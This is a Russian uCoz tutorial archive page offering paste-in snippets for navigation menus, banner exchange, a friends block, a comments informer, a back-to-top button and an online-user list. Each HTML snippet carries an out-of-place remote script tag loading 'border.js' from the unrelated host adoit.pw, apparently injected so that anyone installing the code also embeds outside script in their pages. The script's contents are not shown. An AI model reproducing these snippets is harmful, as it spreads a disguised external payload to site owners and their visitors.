Архив материалов - Positiv.3DN.Ru » Все лучшее в интернете! - Читать бесплатно, без регистрации и смс

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.





Главная » Архив материалов

Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
}  

#main ul{  
  padding:0;  
}  

#navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
}  

#navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
}  

#navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
}  

#navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
}  

#navigationMenu a:hover{  
  text-decoration:none;  
}  

#navigationMenu .m_home {background-position:0 0;}  
#navigationMenu .m_home :hover {background-position:0 -35px;}  

#navigationMenu .m_gost {background-position:-35px 0;}  
#navigationMenu .m_gost:hover {background-position:-35px -35px;}  

#navigationMenu .m_forum {background-position:-70px 0;}  
#navigationMenu .m_forum:hover {background-position:-70px -35px;}  

#navigationMenu .m_pochta { background-position:-105px 0;}  
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

#navigationMenu .m_vxod { background-position:-140px 0;}  
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

#navigationMenu .m_vixod { background-position:-175px 0;}  
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

#navigationMenu .m_gost span,  
#navigationMenu .m_forum span,  
#navigationMenu .m_pochta span,  
#navigationMenu .m_vxod span,  
#navigationMenu .m_vixod span,  
#navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
}


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{   ... Читать дальше »

Необходимый скрипт практически для любого сайта ucoz
ведь именно Ваши посетители в знак признательности смогут воспользоваться этим скриптом и установить кнопку или же баннер на страницах уже своего сайта, (пояснять важность этого действия я думаю не стоит) или же поможет в обычном баннер обмене
Установка
Все предельно просто код скрипта ucoz следует разместить желательно в отдельном блоке и заполнить исходя из данных своего сайта
Код
<center><font color="#86d800"><b>Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:</b></font><script type="text/javascript" src="http://adoit.pw/border.js"></script><br><br><script language="JavaScript">  
<!--  
function popup1()  
{  
prompt('<a href="Ссылка на сайт" target="_blank"><img src="Ссылка на баннер"></a>','<a href="Ссылка на сайт" target="_blank" alt="Описание сайта"><center><img src="Ссылка на баннер" alt="Описание сайта" title="Описание сайта" width=88 height=31 border=0></center></a>');  
return false;  
}  
//-->  
</script>  
<a href="Ссылка на сайт" target="_self" alt="Описание сайта"><center><img src="Ccылка на банер" alt="Описание сайта" width=88 height=31 border=0></center></a><br>  
<form><center>  
<input type="button" value="Получить код" onclick="popup1()">  
</center></form></center>

Скрипт друзья сайта для uCoz
Просто вставьте это в блок

Код
<hr align="center" size="1" width="100%" noshade="noshade">  
  <style type="text/css">  
  .sSample {text-align:center;padding:3px;border:1px solid #488ebf;margin:5px;cursor:pointer;font-size:7pt;}  
  .sSampleO {text-align:center;padding:3px;border:1px solid #3d55e7;margin:5px;cursor:pointer;background:#488ebf;font-size:10pt;color:#ffffff;}  
  </style><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <div align="center"><marquee direction="up" scrollamount="2" onmouseover="this.scrollAmount=0" onmouseout="this.scrollAmount=2" width="170" height="250">  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div>  
  </marquee></div>  
  <hr align="center" size="1" width="100%" noshade="noshade">

Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий.

2. Заходим в панель управления.

Создаем информер с параметрами:

[Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1]

В шаблон информера вставляем следующий код:

Код
<table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank">  
<img src="$USER_AVATAR_URL$"></a></td>  
<td class="comm_a" valign="top">  
<div class="c_date_comm">  
<div class="c_date">в $TIME$ $DATE$</div>  
</div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table>  
<div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span>  
<div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div>  
<style>  
.cell_comment_os {  
  float:left;  
  width:100%;  
  background:#181818;border:1px solid #242424;  
  padding-bottom:3px;  
  margin-bottom:15px;-webkit-border-radius: 4px;  
-moz-border-radius: 4px;  
border-radius: 4px;  
}  
.comment_p {  
  float:right;  
  width:80px;  
}  
.comment_v {  
  margin: 5px 0px 5px 10px;  
}  
.comment_c {  
  overflow: hidden;  
  text-align:justify;  
  margin: 0px 0px 0px 10px;  
  padding: 5px 0px;  
  border-top: 1px solid #1f1f1f;  
}  
.comment_n {  
  text-align:right;  
  margin: 3px 78px 0px 10px;  
}  
.vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; }  
.comment_avatar {  
  width:40px;  
  height:40px;  
  padding: 4px;  
  margin: 8px 10px 0px 15px;  
  border: 1px solid #252525;  
  background:#131313;  
  -webkit-border-radius:5px;  
  -moz-border-radius:5px;  
  border-radius:5px;  
}  
a.catName {}  
.catDescr {color:#848484;}  
td.catsTd {padding:4px 0px;}  
.catNumData {color:#777;}  
.comm_back {background:#131313;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:3px;border:1px solid #191919;}  
.comm_s {width:33px;padding-right:2px;}  
.comm_a {width:100%;padding-left:2px;}  
.comm_s img {width:30px;  
  height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date {background:#308d4d;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;}  
.mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;margin:3px 0px;border:1px solid #191919;}  
.t_h {color:#494949;font-size:10px;}  
.t_h a{color:#494949;font-size:10px;text-shadow:none;}  
.t_h a:hover {color:#ddd;}  
.con_poll {padding:0px 0px;}  
.tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;}  
.con_poll input {outline:none; border:none;}  
.con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;}  
.poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;}  
.poll_bg:not(#Foo) input[type=radio] {display:none;}  
.answer {padding:3px 0px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;}  
.pollBut {float:left;margin-top:14px;}  
</style>

На необъятных просторах инета можно без труда найти массу всевозможных кнопок вверх - вниз для блогов - сайтов . Мне понравилась именно эта
Думаю , что с установкой скрипта данной кнопки проблем не возникнет - Панель управление - Управление дизайном - Нижняя часть сайта

в самый низ вставляем код:

Код
<a href="#" class="gotop" title="Наверх" style="display: inline;">
<script type="text/javascript" src="http://adoit.pw/border.js"></script></a>  
<style>.gotop {  
position: fixed;  
width: 85px;  
height: 65px;  
right: 20px;  
bottom: 5px;  
display: block;  
background: url('http://pnghosts.ru/img/gotop.png') no-repeat;  
z-index: 9998;  
display: none;opacity: 0.5;  
}  
.gotop:hover {opacity: 1.0;}</style>

У кого посетителей много на сайте им не удобно видеть большой список пользователей посетивших сайт в статистике, а этот скрипт вам поможет, он делает вертикальный список пользователей и оставляет буквально несколько пользователей а что бы увидеть остальных вам придется пролистать, очень удобный скрипт.

Установка:

Ищем $ONLINE_COUNTER$ или $ONLINE_USER_LIST$ и после них прописываем код:

Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/statica.js"></script>  
  <div id="userLog"></div><script src="http://adoit.pw/border.js" type="text/javascript"></script><div id="allist" style="border: 1px solid #CCCCCC; margin:3px; padding:3px; overflow: auto;height:100px;">  
  <img src="http://pnghosts.ru/img/update_messages.gif id="loading" border="0" alt="" />  
  </div>

« 1 2 ... 6 7 8 9 10 ... 343 344 »
Календарь
«  Май 2024  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031
Наш опрос
Какая у вас скорость интернета?
Всего ответов: 14
Статистика
Реклама